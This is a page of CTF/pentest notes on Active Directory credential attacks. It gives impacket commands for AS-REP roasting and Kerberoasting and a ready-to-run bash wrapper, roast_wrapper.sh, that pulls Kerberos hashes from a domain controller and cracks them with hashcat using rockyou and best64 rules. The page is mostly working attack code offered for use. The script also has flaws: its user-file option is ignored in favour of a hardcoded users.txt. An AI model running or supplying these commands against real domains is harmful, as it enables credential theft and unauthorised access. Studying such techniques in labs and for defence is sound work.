> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/ad-authentication-attacks/ad-attacks-overview.md).

# AD Attacks - Overview

## Unauthenticated Attacks

Attacks without the need for any credentials at all.

### AS-REP Roasting

[AS-REP Roasting](/ctf-notes/creds/ad-authentication-attacks/unauthenticated-ad-attacks.md#as-rep-roast) with required list of potential users

```bash
impacket-GetNPUsers -dc-ip $DC_IP -no-pass -usersfile users.txt -outputfile asrep_hashes.txt <domain>/
```

* [Password Spraying](/ctf-notes/creds/online-attacks/password-spraying.md) (with required list of potential users)

## Authenticated Attacks

### AS-REP Roasting

[AS-REP Roasting](/ctf-notes/creds/ad-authentication-attacks/authenticated-ad-attacks.md#as-rep-roasting), better version since we can enumerate all users

```bash
impacket-GetNPUsers -dc-ip $DC_IP -outputfile asrep_hashes.txt <domain>/<dom_user>:<dom_user_pw> 
```

### Kerberoasting

[Kerberoasting](/ctf-notes/creds/ad-authentication-attacks/authenticated-ad-attacks.md#kerberoasting)

```bash
impacket-GetUserSPNs -dc-ip $DC_IP -outputfile tgtrep_hashes.txt <domain>/<dom_user>:<dom_user_pw> 
```

* Password Spraying, better version since we can enumerate all users
* Cached Credentials (Admin access required!)

## Wrapper Script

A basic wrapper script that performs both authenticated AS-REP roasting and Kerberoasting and then automatically tries to crack the hashes with hashcat is included below.

<details>

<summary>roast_wrapper.sh</summary>

```bash
#!/bin/bash

SCRIPT_NAME=$(basename "$0")

usage() {
    echo "Unauthenticated attack"
    echo -e "Usage: $SCRIPT_NAME <DC_IP> -d <domain> -f <userfile>\n"
    echo "Authenticated attack"
    echo "Usage: $SCRIPT_NAME <DC_IP> -d <domain> -u <username> -p <password>"
    exit 1
}

function asreproast_auth() {
    echo "-------------------------------------------------------------------"
    echo "Performing authenticated AS-REP Roasting - Getting AS-REP hashes..."
    echo "-------------------------------------------------------------------"
    rm asrep_hashes.txt 2> /dev/null
    impacket-GetNPUsers -dc-ip $DC_IP -outputfile asrep_hashes.txt $DOMAIN/$USER:$PW 

    if [[ -e asrep_hashes.txt ]]; then
        echo "Cracking found AS-REP hashes with hashcat..."
        hashcat --quiet -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
    fi

    if [[ -e asrep_hashes.txt && $(hashcat -m 18200 --left asrep_hashes.txt | wc -l) -gt 0 ]]; then
        echo 'There are still uncracked AS-REP hashes left - Cracking again with best64 rules!'
        hashcat --quiet -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    fi
}

function asreproast_unauth() {
    echo "---------------------------------------------------------------------"
    echo "Performing unauthenticated AS-REP Roasting - Getting AS-REP hashes..."
    echo "---------------------------------------------------------------------"
    rm asrep_hashes.txt 2> /dev/null
    impacket-GetNPUsers -dc-ip $DC_IP -no-pass -usersfile users.txt -outputfile asrep_hashes.txt $DOMAIN/

    if [[ -e asrep_hashes.txt ]]; then
        echo "Cracking found AS-REP hashes with hashcat..."
        hashcat --quiet -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
    fi

    if [[ -e asrep_hashes.txt && $(hashcat -m 18200 --left asrep_hashes.txt | wc -l) -gt 0 ]]; then
        echo 'There are still uncracked AS-REP hashes left - Cracking again with best64 rules!'
        hashcat --quiet -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    fi
}

function kerberoasting_auth() {
    echo "------------------------------------------------------------------"
    echo "Performing authenticated Kerberoasting - Getting TGT-REP hashes..."
    echo "------------------------------------------------------------------"
    rm tgtrep_hashes.txt 2> /dev/null
    impacket-GetUserSPNs -dc-ip $DC_IP -outputfile tgtrep_hashes.txt $DOMAIN/$USER:$PW

    if [[ -e tgtrep_hashes.txt ]]; then
        echo "Cracking found TGT-REP hashes with hashcat..."
        hashcat --quiet -m 13100 tgtrep_hashes.txt /usr/share/wordlists/rockyou.txt
    fi

    if [[ -e tgtrep_hashes.txt && $(hashcat -m 13100 --left tgtrep_hashes.txt | wc -l) -gt 0 ]]; then
        echo 'There are still uncracked TGT-REP hashes left - Cracking again with best64 rules!'
        hashcat --quiet -m 13100 tgtrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    fi
}

function kerberoasting_unauth() {
    echo "--------------------------------------------------------------------"
    echo "Performing unauthenticated Kerberoasting - Getting TGT-REP hashes..."
    echo "--------------------------------------------------------------------"
    rm tgtrep_hashes.txt 2> /dev/null
    impacket-GetUserSPNs -dc-ip $DC_IP -outputfile tgtrep_hashes.txt $DOMAIN/

    if [[ -e tgtrep_hashes.txt ]]; then
        echo "Cracking found TGT-REP hashes with hashcat..."
        hashcat --quiet -m 13100 tgtrep_hashes.txt /usr/share/wordlists/rockyou.txt
    fi

    if [[ -e tgtrep_hashes.txt && $(hashcat -m 13100 --left tgtrep_hashes.txt | wc -l) -gt 0 ]]; then
        echo 'There are still uncracked TGT-REP hashes left - Cracking again with best64 rules!'
        hashcat --quiet -m 13100 tgtrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
    fi
}

# Parse parameters
DC_IP=$1
shift
while getopts ":d:f:u:p:h" opt; do
    case "$opt" in
        d) DOMAIN="$OPTARG" ;;
        f) USER_FILE="$OPTARG" ;;
        u) USER="$OPTARG" ;;
        p) PW="$OPTARG" ;;
        h) usage ;;
        \?) echo "Invalid option: -$OPTARG" >&2; usage ;;
        :) echo "Option -$OPTARG requires an argument." >&2; usage ;;
    esac
done
shift $((OPTIND-1))

# check required parameters
if [[ -z "$DC_IP" || -z "$DOMAIN" ]]; then
    usage
fi

# AS_REP Roasting
if [[ -n "$USER_FILE" ]]; then
    asreproast_unauth
fi
if [[ -n "$USER" && -n "$PW" ]]; then
    asreproast_auth
fi

# Kerberoasting
if [[ -n "$USER" && -n "$PW" ]]; then
    kerberoasting_auth
else
    kerberoasting_unauth
fi

```

</details>

## Resources

Kerberos (protocol) - Wikipedia: <https://en.wikipedia.org/wiki/Kerberos_(protocol)>